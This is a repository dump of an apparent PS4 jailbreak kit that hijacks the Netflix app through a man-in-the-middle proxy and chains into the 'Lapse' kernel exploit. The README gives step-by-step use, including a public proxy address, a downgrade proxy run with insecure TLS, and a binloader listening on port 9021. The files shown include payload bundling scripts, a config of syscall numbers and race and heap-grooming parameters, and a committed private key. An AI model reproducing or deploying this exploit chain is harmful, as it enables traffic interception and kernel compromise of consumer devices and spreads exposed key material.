├── PS4 ├── payloads │ ├── lapse │ │ ├── README.md │ │ ├── bundle.sh │ │ ├── config.js │ │ ├── misc.js │ │ ├── lapse_main.js │ │ ├── kernel_offset.js │ │ ├── kernel.js │ │ └── lapse_stages.js │ ├── hello_world.js │ └── ftpserver.js ├── __pycache__ │ └── proxy.cpython-312.pyc ├── ws.py ├── cert.pem ├── bundle_auto.sh ├── key.pem ├── README.md ├── proxy.py └── downgrader.py ├── payloads ├── elfldr.elf ├── bundle_lapse.sh ├── README.md ├── hello_world.js ├── elf_loader.js └── ftpserver.js ├── .github └── FUNDING.yml ├── ws.py ├── proxy.py ├── hosts.txt └── README.md /PS4/payloads/lapse/README.md: -------------------------------------------------------------------------------- 1 | # lapse.js 2 | 3 | to generate `lapse.js` run `bash bundle.sh` 4 | -------------------------------------------------------------------------------- /payloads/elfldr.elf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthonion/Netflix-N-Hack/HEAD/payloads/elfldr.elf -------------------------------------------------------------------------------- /PS4/__pycache__/proxy.cpython-312.pyc: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/earthonion/Netflix-N-Hack/HEAD/PS4/__pycache__/proxy.cpython-312.pyc -------------------------------------------------------------------------------- /.github/FUNDING.yml: -------------------------------------------------------------------------------- 1 | # These are supported funding model platforms 2 | 3 | github: [earthonion] 4 | 5 | # , c0w-ar , ufm42] #apply to GH sponsors! 6 | 7 | -------------------------------------------------------------------------------- /payloads/bundle_lapse.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | cat 1_lapse_prepare_1.js 2_lapse_prepare_2.js 3_lapse_nf.js > lapse.js 4 | node --check lapse.js 5 | echo "lapse bundled!" 6 | -------------------------------------------------------------------------------- /payloads/README.md: -------------------------------------------------------------------------------- 1 | # Netflix 'N Hack Payloads 2 | 3 | After launching the inject.js, a JS server is populated waiting for payloads. 4 | 5 | On this folder you have 2 examples: 6 | 7 | - hello_world.js : Render a text on the UI using Netflix Gibbon internals 8 | 9 | - lapse.js (port from Y2JB): generated by `bundle_lapse.sh` includes elf_loader.js 10 | 11 | - FTP Server: allows you to access sandbox of Netflix -------------------------------------------------------------------------------- /PS4/payloads/hello_world.js: -------------------------------------------------------------------------------- 1 | // Hello World Payload 2 | // Clear existing logs and show large "Hello World" text 3 | 4 | // Clear the logger lines 5 | logger.lines = []; 6 | logger.refresh(); 7 | 8 | // Create a large text widget 9 | var helloWidget = nrdp.gibbon.makeWidget({ 10 | name: "hello", 11 | x: 200, 12 | y: 250, 13 | width: 880, 14 | height: 220 15 | }); 16 | 17 | helloWidget.text = { 18 | contents: "HELLO WORLD!", 19 | size: 72, 20 | color: { a: 255, r: 255, g: 0, b: 0 }, // Cyan 21 | wrap: false 22 | }; 23 | 24 | helloWidget.parent = logger.overlay; 25 | 26 | // Send notification 27 | send_notification("Hello NETFLIX! 🎬"); 28 | 29 | // Log success 30 | logger.log("Payload executed!"); 31 | logger.log("Hello World displayed"); 32 | logger.flush(); 33 | -------------------------------------------------------------------------------- /payloads/hello_world.js: -------------------------------------------------------------------------------- 1 | // Hello World Payload 2 | // Clear existing logs and show large "Hello World" text 3 | 4 | // Clear the logger lines 5 | logger.lines = []; 6 | logger.refresh(); 7 | 8 | // Create a large text widget 9 | var helloWidget = nrdp.gibbon.makeWidget({ 10 | name: "hello", 11 | x: 200, 12 | y: 250, 13 | width: 880, 14 | height: 220 15 | }); 16 | 17 | helloWidget.text = { 18 | contents: "HELLO WORLD", 19 | size: 72, 20 | color: { a: 255, r: 0, g: 255, b: 255 }, // Cyan 21 | wrap: false 22 | }; 23 | 24 | helloWidget.parent = logger.overlay; 25 | 26 | // Send notification 27 | send_notification("Hello Netflix! 🎬"); 28 | 29 | // Log success 30 | logger.log("Payload executed!"); 31 | logger.log("Hello World displayed"); 32 | logger.flush(); 33 | -------------------------------------------------------------------------------- /ws.py: -------------------------------------------------------------------------------- 1 | import ssl 2 | import asyncio 3 | import websockets 4 | 5 | ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 6 | ssl_context.load_cert_chain(certfile="cert.pem", keyfile="key.pem") 7 | #openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost" 8 | 9 | async def handle_client(websocket: websockets.WebSocketServerProtocol): 10 | client_ip = websocket.remote_address[0] 11 | print(f"Client connected from {client_ip}") 12 | 13 | try: 14 | async for message in websocket: 15 | print(message) 16 | except websockets.ConnectionClosed: 17 | print("Client disconnected") 18 | 19 | async def main(): 20 | async with websockets.serve(handle_client, "0.0.0.0", 1337, ssl=ssl_context): 21 | print("listening to 0.0.0.0:1337...") 22 | await asyncio.Future() 23 | 24 | if __name__ == "__main__": 25 | asyncio.run(main()) -------------------------------------------------------------------------------- /PS4/ws.py: -------------------------------------------------------------------------------- 1 | import ssl 2 | import asyncio 3 | import websockets 4 | 5 | ssl_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER) 6 | ssl_context.load_cert_chain(certfile="cert.pem", keyfile="key.pem") 7 | #openssl req -x509 -newkey rsa:4096 -nodes -keyout key.pem -out cert.pem -days 365 -subj "/CN=localhost" 8 | 9 | async def handle_client(websocket: websockets.WebSocketServerProtocol): 10 | client_ip = websocket.remote_address[0] 11 | print(f"Client connected from {client_ip}") 12 | 13 | try: 14 | async for message in websocket: 15 | print(message) 16 | except websockets.ConnectionClosed: 17 | print("Client disconnected") 18 | 19 | async def main(): 20 | async with websockets.serve(handle_client, "0.0.0.0", 1337, ssl=ssl_context): 21 | print("listening to 0.0.0.0:1337...") 22 | await asyncio.Future() 23 | 24 | if __name__ == "__main__": 25 | asyncio.run(main()) -------------------------------------------------------------------------------- /PS4/payloads/lapse/bundle.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | # Bundle PS4 lapse payload 4 | # Creates a single bundled JS file 5 | 6 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" 7 | 8 | # Ask user which payload 9 | echo "Select payload:" 10 | echo " 1) Jailbreak only (lapse.js)" 11 | echo " 2) Jailbreak + BinLoader (lapse_binloader.js)" 12 | read -p "Choice [1-2]: " choice 13 | 14 | # Base files (always included) 15 | FILES=( 16 | "config.js" 17 | "kernel_offset.js" 18 | "misc.js" 19 | "kernel.js" 20 | "threading.js" 21 | "lapse_stages.js" 22 | ) 23 | 24 | # Main execution 25 | FILES+=("lapse_main.js") 26 | 27 | # Add payload after main if requested 28 | case "$choice" in 29 | 2) 30 | FILES+=("binloader.js") 31 | OUTPUT="$SCRIPT_DIR/lapse_binloader.js" 32 | echo "Bundling with binloader payload..." 33 | ;; 34 | *) 35 | OUTPUT="$SCRIPT_DIR/lapse.js" 36 | echo "Bundling jailbreak only..." 37 | ;; 38 | esac 39 | 40 | # Clear/create output file 41 | > "$OUTPUT" 42 | 43 | # Add files 44 | for file in "${FILES[@]}"; do 45 | filepath="$SCRIPT_DIR/$file" 46 | 47 | if [[ ! -f "$filepath" ]]; then 48 | echo "ERROR: Missing file: $filepath" 49 | exit 1 50 | fi 51 | 52 | echo "" >> "$OUTPUT" 53 | echo "/***** $file *****/" >> "$OUTPUT" 54 | echo "" >> "$OUTPUT" 55 | cat "$filepath" >> "$OUTPUT" 56 | echo "" >> "$OUTPUT" 57 | 58 | echo " Added: $file" 59 | done 60 | 61 | echo "" 62 | echo "Created: $OUTPUT" 63 | 64 | # Syntax check 65 | if node --check "$OUTPUT" 2>&1; then 66 | echo "Syntax check: OK" 67 | else 68 | echo "Syntax check: FAILED" 69 | exit 1 70 | fi 71 | 72 | echo "Done!" 73 | -------------------------------------------------------------------------------- /PS4/cert.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN CERTIFICATE----- 2 | MIIFFTCCAv2gAwIBAgIUKr+dpQpUj0v5YTQ67/4zri0KenowDQYJKoZIhvcNAQEL 3 | BQAwGjEYMBYGA1UEAwwPcHduLm5ldGZsaXguY29tMB4XDTI1MTAyMzA1MzI0N1oX 4 | DTI2MTAyMzA1MzI0N1owGjEYMBYGA1UEAwwPcHduLm5ldGZsaXguY29tMIICIjAN 5 | BgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA2xNG+2B1B2mXeDOsXpiD+AKagXEj 6 | fUo0yn6gz2QO4dmpTAGI2lPkJLwS6jmsiGs9fTC3Q11VeAVtXmGL4Q++JM8KGmTw 7 | m/Q2VTQTOLL30AynSSTYFUYisk5MQSORcMtKpYMta9K2pS/tszDFSLj7zY3VdVlU 8 | s2mUGLfxlGe33JFo2Nq7qYBN6zG4oaHR8HmhPUZuj5W4+qowtZ+plTaCwtV1TdUw 9 | yP2wzsGi52fBhofRFddh5zsJ5K+W+GgcKfnN2hOOaaE7gc1Kg9QaImpGjk4ns/93 10 | xRpDdA/mk/I/kYIQCGzs3E80DMAHhZqISn4ks5jiPFQE8VqRUXB1wrt7SignYDcL 11 | RNwPHd5cXFz9ULuwXCZs9u9W59e8c3M4ZpYopB3rM+vpq/QLKGdxg0IFMCDfUHuZ 12 | o3cS1+dzEecmQABifO9RCg/qlEBSM6QEL2Fdggo9XsmY/VPrEjCjHCoMO6R9QIQ+ 13 | JJvEW9jWJq/Jr+h9av372HJjmJYqjRW2TYaSgQzHhThzRTlZkJIO2TVpwQ6wnuCt 14 | jzCCZHmcf6aieV2lspLjGiOzEp1CiOqYg4jT+046TKT2Mo4JwdW76+84JIB85e3C 15 | 5AhJwyY8v27QUfbnjvUrEv0bVuf3IUfCNJ/yldELKF4TAU8czdush+1PCJTxbRkH 16 | RlmfgE5vOIhaUfMCAwEAAaNTMFEwHQYDVR0OBBYEFDRXxI/wF5drdRtuDUngdnDo 17 | TcdCMB8GA1UdIwQYMBaAFDRXxI/wF5drdRtuDUngdnDoTcdCMA8GA1UdEwEB/wQF 18 | MAMBAf8wDQYJKoZIhvcNAQELBQADggIBAJs4mFIwqT04PAfQaXZIzJWWsfp/k7SX 19 | FcvKlBuQg3sBFOXgTGKYZwXWjcuATfA7IMGpeqW9Jl75ByfzgYfx343DiJkPBA9I 20 | gnGtYYkHMvHnul1OxK0ZECWAE+8qy7jM3SBbo70XaoioJeG43lP1AnmvweLYZVCP 21 | CKIL4rLzdxwvhRcpQewSlBKlt8NJW8AH/8h9+gGU8WnHTvDz/Oi0DoYJoX5EdRhq 22 | 6DkX8vxowiFKQzb3RoTWG2aVgZWWoy4sCT205rkNkco1S6QDAeAKeh9582gG1aGh 23 | ONvYLzIGAJwnh8HZ0TdxkADGd+diLKjDCTFR+zsQOnqviGGaAV7uzOpqu5fyJGgx 24 | h1Imtf4bMWUh3vsd9WwsfyDmFNkCbaaIyl7ApZdJpES9alMzl3qtyRB3DsW30FzO 25 | cGZyBup09m8nE2Jrt7/Exm6yGvfWSGb8dG35OUh7gqAuJrBSKcnpaH/dI+/uXuEu 26 | 1k+qUD9i7BiNFdw58nQ2qJSnuKp7ENGcfCKah8cq85u/plkHGedfkrclniJZArfW 27 | SmCwYFyzcsbK9kiaK51+cUBBW6QSi9O0nyJJw3Pjv9aLXB0fOuQT7MMO3Bk24GTt 28 | afDsx3fWUyjFGW1NQUZi0wVGev0+W36EYtAy5CvWX7XkyuDQrkPIAtgV9CcqXd8I 29 | y+CP0eoIU5wt 30 | -----END CERTIFICATE----- 31 | -------------------------------------------------------------------------------- /PS4/bundle_auto.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # bundle_auto.sh - Bundle inject_auto.js with lapse_binloader.js 3 | # Creates a single JS file that auto-runs jailbreak + binloader 4 | # Automatically builds lapse_binloader.js from source files first 5 | 6 | SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" 7 | INJECT_AUTO="$SCRIPT_DIR/inject_auto.js" 8 | LAPSE_DIR="$SCRIPT_DIR/payloads/lapse" 9 | PAYLOAD="$SCRIPT_DIR/payloads/lapse_binloader.js" 10 | OUTPUT="$SCRIPT_DIR/inject_auto_bundle.js" 11 | 12 | # Check inject_auto.js exists 13 | if [ ! -f "$INJECT_AUTO" ]; then 14 | echo "ERROR: inject_auto.js not found at $INJECT_AUTO" 15 | exit 1 16 | fi 17 | 18 | # Check lapse directory exists 19 | if [ ! -d "$LAPSE_DIR" ]; then 20 | echo "ERROR: lapse directory not found at $LAPSE_DIR" 21 | exit 1 22 | fi 23 | 24 | # ========================================== 25 | # Step 1: Build lapse_binloader.js from source 26 | # ========================================== 27 | echo "=== Building lapse_binloader.js ===" 28 | 29 | LAPSE_FILES=( 30 | "config.js" 31 | "kernel_offset.js" 32 | "misc.js" 33 | "kernel.js" 34 | "threading.js" 35 | "lapse_stages.js" 36 | "lapse_main.js" 37 | "binloader.js" 38 | ) 39 | 40 | # Clear/create output file 41 | > "$PAYLOAD" 42 | 43 | for file in "${LAPSE_FILES[@]}"; do 44 | filepath="$LAPSE_DIR/$file" 45 | 46 | if [[ ! -f "$filepath" ]]; then 47 | echo "ERROR: Missing file: $filepath" 48 | exit 1 49 | fi 50 | 51 | echo "" >> "$PAYLOAD" 52 | echo "/***** $file *****/" >> "$PAYLOAD" 53 | echo "" >> "$PAYLOAD" 54 | cat "$filepath" >> "$PAYLOAD" 55 | echo "" >> "$PAYLOAD" 56 | 57 | echo " Added: $file" 58 | done 59 | 60 | LAPSE_SIZE=$(wc -c < "$PAYLOAD") 61 | echo "Built lapse_binloader.js: $LAPSE_SIZE bytes" 62 | echo "" 63 | 64 | # ========================================== 65 | # Step 2: Bundle inject_auto.js + lapse_binloader.js 66 | # ========================================== 67 | echo "=== Building inject_auto_bundle.js ===" 68 | 69 | # Create temp file for the bundled output 70 | TEMP_FILE=$(mktemp) 71 | 72 | # Read inject_auto.js up to the marker 73 | sed -n '1,/LAPSE_BINLOADER_PAYLOAD_START/p' "$INJECT_AUTO" > "$TEMP_FILE" 74 | 75 | # Append the payload 76 | cat "$PAYLOAD" >> "$TEMP_FILE" 77 | 78 | # Append the rest of inject_auto.js after the end marker 79 | sed -n '/LAPSE_BINLOADER_PAYLOAD_END/,$p' "$INJECT_AUTO" >> "$TEMP_FILE" 80 | 81 | # Move to output 82 | mv "$TEMP_FILE" "$OUTPUT" 83 | 84 | # Get file sizes 85 | INJECT_SIZE=$(wc -c < "$INJECT_AUTO") 86 | PAYLOAD_SIZE=$(wc -c < "$PAYLOAD") 87 | OUTPUT_SIZE=$(wc -c < "$OUTPUT") 88 | 89 | echo "Bundled!" 90 | echo " inject_auto.js: $INJECT_SIZE bytes" 91 | echo " lapse_binloader.js: $PAYLOAD_SIZE bytes" 92 | echo " Output: $OUTPUT_SIZE bytes" 93 | echo "" 94 | 95 | # Syntax check 96 | echo "Running syntax check..." 97 | if node --check "$OUTPUT" 2>&1; then 98 | echo "Syntax OK!" 99 | echo "" 100 | echo "=== Done ===" 101 | echo "Output: $OUTPUT" 102 | else 103 | echo "" 104 | echo "ERROR: Syntax check failed!" 105 | exit 1 106 | fi 107 | -------------------------------------------------------------------------------- /PS4/key.pem: -------------------------------------------------------------------------------- 1 | -----BEGIN PRIVATE KEY----- 2 | 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 51 | RyADprdyroZ/CHzvqThmExhR28ooNow= 52 | -----END PRIVATE KEY----- 53 | -------------------------------------------------------------------------------- /PS4/README.md: -------------------------------------------------------------------------------- 1 | # Netflix N Hack for PS4 2 | 3 | > [!NOTE] 4 | > The PS4 version requires very specific circumstances to work. Workarounds are included below. 5 | 6 | ## Compatibility 7 | 8 | Before proceeding, ensure the following: 9 | 10 | 1. **Netflix (with license) installed on your PS4 below the latest version** 11 | - If you have an existing jailbreak, simply install the vulnerable version for your region [EU](https://orbispatches.com/CUSA00127?v=01.53) [US](https://orbispatches.com/CUSA00129?v=01.53) [JP](https://orbispatches.com/CUSA02988?v=01.53) 12 | - This is useful if you can’t get BD-JB or are stuck using PPPwn. 13 | - If you are on the latest firmware, you *can* downgrade Netflix via MITM by downloading from PSN. 14 | You **cannot jailbreak**, but you will be prepared if a new kernel exploit releases. 15 | 16 | 2. **PS4 Firmware version must be between 8.00 and 12.02** (required for the Lapse exploit) 17 | 18 | 19 | Need help? Ask me on [Discord](https://discord.gg/QMGHzzW89V) 20 | --- 21 | 22 | ## Downgrading Netflix 23 | 24 | > [!NOTE] 25 | > Please see the [Extended Storage Method](https://github.com/earthonion/Netflix-N-Hack/) 26 | 27 | ### Prerequisites 28 | - Python 29 | - mitmproxy 30 | - Internet access 31 | 32 | > [!Warning] 33 | > Downgrading is experimental and may not work for you. If you accidentally update to 1.59 you cannot downgrade with MITM. **Extended storage images are planned** 34 | 35 | > [!NOTE] 36 | > If your previous Netflix version is above 1.53. You will need an existing Jailbreak to fix the "Please update the application" notification. 37 | > FTP into /user/download/CUSA00XXX (whichever region you are in) 38 | and delete "download0_info.dat" 39 | 40 | ### Install & Run Downgrade Proxy 41 | ```bash 42 | # Install mitmproxy 43 | pip install mitmproxy 44 | 45 | # Start the downgrade proxy 46 | mitmproxy -s downgrader.py --ssl-insecure --set stream_large_bodies=3m 47 | ``` 48 | 49 | 50 | **Console Instructions** 51 | 52 | On your PS4: 53 | 54 | 55 | 56 | go into settings -> network -> set up internet connection -> wifi or lan -> Custom -> automatic -> do not specify -> DNS Automatic -> automatic -> Proxy server **USE** -> enter your computer ip address port : 8080 57 | 58 | >[!TIP] 59 | > To get your local IP address 60 | >Windows: Open CMD -> run `ipconfig` -> look under “IPv4 Address” in your active adapter (Wi-Fi/Ethernet). 61 | > 62 | >Linux: Run `ip a` → find your network interface (e.g., eth0, wlan0) → check the inet line. 63 | > 64 | >Mac: Run `ifconfig` → find en0/en1 → read the `inet` value (or `ipconfig getifaddr en0` for Wi-Fi). 65 | 66 | 1. Go to Netflix **on the home screen** 67 | 68 | 69 | 2. Press **Options** on your controller 70 | 71 | 72 | 3. Select **Check for Updates** 73 | 74 | 75 | --- 76 | 77 | ## Exploit 78 | 79 | ### Public Server 80 | 81 | Set your proxy in ps4 network settings to this: 82 | 83 | > [!NOTE] 84 | > **Address**: `172.105.156.37` 85 | > **Port**: `42069` 86 | 87 | Then simply open Netflix 88 | 89 | > [!NOTE] 90 | > blocking PSN is encouraged. please follow [this guide](https://consolemods.org/wiki/PS4:Blocking_OFW_Updates) for more information 91 | 92 | ### Host Locally 93 | 94 | 95 | ### Start MITM Proxy 96 | 97 | ```bash 98 | mitmproxy -s proxy.py 99 | ``` 100 | 101 | ### Set your proxy in ps4 network settings to your local ip (machine running mitmproxy) 102 | 103 | Then simply open Netflix on your PS4. 104 | (Exploit initialization takes ~30 seconds.) 105 | 106 | # Important Notes 107 | 108 | > [!NOTE] 109 | > If PS4 kernel panics, or lapse fails; restart the console and try again. 110 | > 111 | > if Netflix crashes, just restart Netflix 112 | 113 | Once complete, the exploit will look for a payload in `/data/payload.bin` if it is not found it will look on the root of a plugged in USB drive for a file named `payload.bin` and will automatically copy it to `/data/payload.bin`. 114 | 115 | after initial exploit, USB is no longer needed. 116 | 117 | if payload is not found on either the USB or `/data/payload.bin`, a binloader will spawn on port 9021 for you to send via netcat or equivalent 118 | 119 | 120 | # Credits 121 | - HelloYunho for all the advise on porting lapse, and latest fw downgrade method 122 | - c0w-ar for working primitives and ROP chain 123 | 124 | --- 125 | 126 | If you run into issues, feel free to message me on Discord! 127 | -------------------------------------------------------------------------------- /PS4/payloads/lapse/config.js: -------------------------------------------------------------------------------- 1 | // PS4 Lapse Configuration 2 | // Ported from PS5 version for Netflix n Hack 3 | 4 | var FW_VERSION = ""; 5 | var IS_PS4 = true; 6 | 7 | var PAGE_SIZE = 0x4000; 8 | var PHYS_PAGE_SIZE = 0x1000; 9 | 10 | var LIBKERNEL_HANDLE = 0x2001n; 11 | 12 | // Socket constants (only ones not in inject_auto.js) 13 | // Already in inject_auto.js: AF_INET, AF_INET6, SOCK_STREAM, SOCK_DGRAM, 14 | // IPPROTO_UDP, IPPROTO_IPV6, IPV6_PKTINFO, SOL_SOCKET, SO_REUSEADDR 15 | var AF_UNIX = 1n; 16 | var IPPROTO_TCP = 6n; 17 | var SO_LINGER = 0x80n; 18 | 19 | // IPv6 socket options (IPV6_PKTINFO already in inject_auto.js) 20 | var IPV6_NEXTHOP = 48n; 21 | var IPV6_RTHDR = 51n; 22 | var IPV6_TCLASS = 61n; 23 | var IPV6_2292PKTOPTIONS = 25n; 24 | 25 | // TCP socket options 26 | var TCP_INFO = 32n; 27 | var TCPS_ESTABLISHED = 4n; 28 | 29 | // All syscalls from lapse.py (PS4) 30 | // (SYSCALL object is already defined in inject.js, we just add properties) 31 | SYSCALL.unlink = 0xAn; // 10 32 | SYSCALL.pipe = 42n; // 42 33 | SYSCALL.getpid = 20n; // 20 34 | SYSCALL.getuid = 0x18n; // 24 35 | SYSCALL.kill = 37n; // 37 36 | SYSCALL.connect = 98n; // 98 37 | SYSCALL.munmap = 0x49n; // 73 38 | SYSCALL.mprotect = 0x4An; // 74 39 | SYSCALL.getsockopt = 0x76n; // 118 40 | SYSCALL.socketpair = 0x87n; // 135 41 | SYSCALL.nanosleep = 0xF0n; // 240 42 | SYSCALL.sched_yield = 0x14Bn; // 331 43 | SYSCALL.thr_exit = 0x1AFn; // 431 44 | SYSCALL.thr_self = 0x1B0n; // 432 45 | SYSCALL.thr_new = 0x1C7n; // 455 46 | SYSCALL.rtprio_thread = 0x1D2n; // 466 47 | SYSCALL.mmap = 477n; // 477 48 | SYSCALL.cpuset_getaffinity = 0x1E7n; // 487 49 | SYSCALL.cpuset_setaffinity = 0x1E8n; // 488 50 | SYSCALL.jitshm_create = 0x215n; // 533 51 | SYSCALL.jitshm_alias = 0x216n; // 534 52 | SYSCALL.evf_create = 0x21An; // 538 53 | SYSCALL.evf_delete = 0x21Bn; // 539 54 | SYSCALL.evf_set = 0x220n; // 544 55 | SYSCALL.evf_clear = 0x221n; // 545 56 | SYSCALL.is_in_sandbox = 0x249n; // 585 57 | SYSCALL.dlsym = 0x24Fn; // 591 58 | SYSCALL.thr_suspend_ucontext = 0x278n; // 632 59 | SYSCALL.thr_resume_ucontext = 0x279n; // 633 60 | SYSCALL.aio_multi_delete = 0x296n; // 662 61 | SYSCALL.aio_multi_wait = 0x297n; // 663 62 | SYSCALL.aio_multi_poll = 0x298n; // 664 63 | SYSCALL.aio_multi_cancel = 0x29An; // 666 64 | SYSCALL.aio_submit_cmd = 0x29Dn; // 669 65 | SYSCALL.kexec = 0x295n; // 661 66 | 67 | var MAIN_CORE = 4; // Same as yarpe 68 | var MAIN_RTPRIO = 0x100; 69 | var NUM_WORKERS = 2; 70 | var NUM_GROOMS = 0x200; 71 | var NUM_HANDLES = 0x100; 72 | var NUM_SDS = 64; 73 | var NUM_SDS_ALT = 48; 74 | var NUM_RACES = 100; 75 | var NUM_ALIAS = 100; 76 | var LEAK_LEN = 16; 77 | var NUM_LEAKS = 32; 78 | var NUM_CLOBBERS = 8; 79 | var MAX_AIO_IDS = 0x80; 80 | 81 | var AIO_CMD_READ = 1n; 82 | var AIO_CMD_FLAG_MULTI = 0x1000n; 83 | var AIO_CMD_MULTI_READ = 0x1001n; 84 | var AIO_CMD_WRITE = 2n; 85 | var AIO_STATE_COMPLETE = 3n; 86 | var AIO_STATE_ABORTED = 4n; 87 | 88 | var SCE_KERNEL_ERROR_ESRCH = 0x80020003n; 89 | 90 | var RTP_SET = 1n; 91 | var PRI_REALTIME = 2n; 92 | 93 | // TCP info structure size for getsockopt 94 | var size_tcp_info = 